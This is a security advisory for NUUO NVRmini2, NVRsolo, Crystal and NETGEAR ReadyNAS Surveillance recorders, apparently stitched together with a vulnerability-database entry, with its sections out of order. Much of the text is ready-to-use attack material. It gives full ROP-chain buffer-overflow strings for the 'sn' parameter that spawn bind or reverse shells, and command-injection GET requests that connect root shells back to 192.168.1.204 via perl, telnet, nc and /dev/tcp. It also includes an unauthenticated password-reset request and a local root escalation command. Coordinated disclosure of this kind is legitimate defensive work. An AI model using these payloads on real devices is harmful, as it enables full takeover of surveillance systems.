aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa > A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x61616160 in ?? () (gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb) The request can be sent by an HTTP GET or POST method. > A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992 > On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002 > Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). > Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. 0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack} Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. > Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload} Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. >> Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts. Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT. >> References: [1] https://www.kb.cert.org/vuls/id/856152 ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>
VAR-201608-0071 CVE-2016-5678 NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities CVSS V2: 10.0
CVSS V3: 9.8
Severity: CRITICAL
NUUO NVRmini 2 1.0.0 through 3.0.0 and NUUO NVRsolo 1.0.0 through 3.0.0 have hardcoded root credentials, which allows remote attackers to obtain administrative access via unspecified vectors. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUO NVRmini 2 and NVRsolo Was hard coded root Because it has authentication information, there is a vulnerability that can gain management access rights. Supplementary information : CWE Vulnerability type by CWE-798: Use of Hard-coded Credentials ( Using hard-coded credentials ) Has been identified. http://cwe.mitre.org/data/definitions/798.htmlA third party may gain administrative access. NUUONVRsolo and NVRmini2 are both network video recorders from NUUO. An attacker could exploit the vulnerability to log in to the affected device with root privileges. NUUO and Netgear Network Multiple Products are prone to multiple security vulnerabilities. Attackers can exploit these issues to execute arbitrary code, execute remote command and retrieve sensitive information; other attacks may also be possible. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Featuring technology that focuses on delivering stable video recording performance, recording failover, and 3rd party integration choice, you will be impressed with the stability and flexible options with NUUO CrystalaC/." "(ReadyNAS Surveillance) NETGEAR combines leading storage and switching solutions together with sophisticated network video recording software to provide an affordable and easy to install and manage surveillance solution. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience." >> Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc. They also provide a software package to NETGEAR that adds network video recording and monitoring capabilities to the well known NETGEAR ReadyNAS Network Attached Storage systems. The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user. Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. >> Technical details: #1 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below): function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); } <?php if (isset($_GET['log']) && !empty($_GET['log'])) { $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']); print_file($file_fullpath_name); } else { die("unknown command."); } ?> The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user. - NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. #2 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']); $find_str = "time server"; $sys_msg = system($cmd); $pos = strpos($sys_msg, $find_str); The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user). - NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root. - Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root. #3 Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. #4 Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) 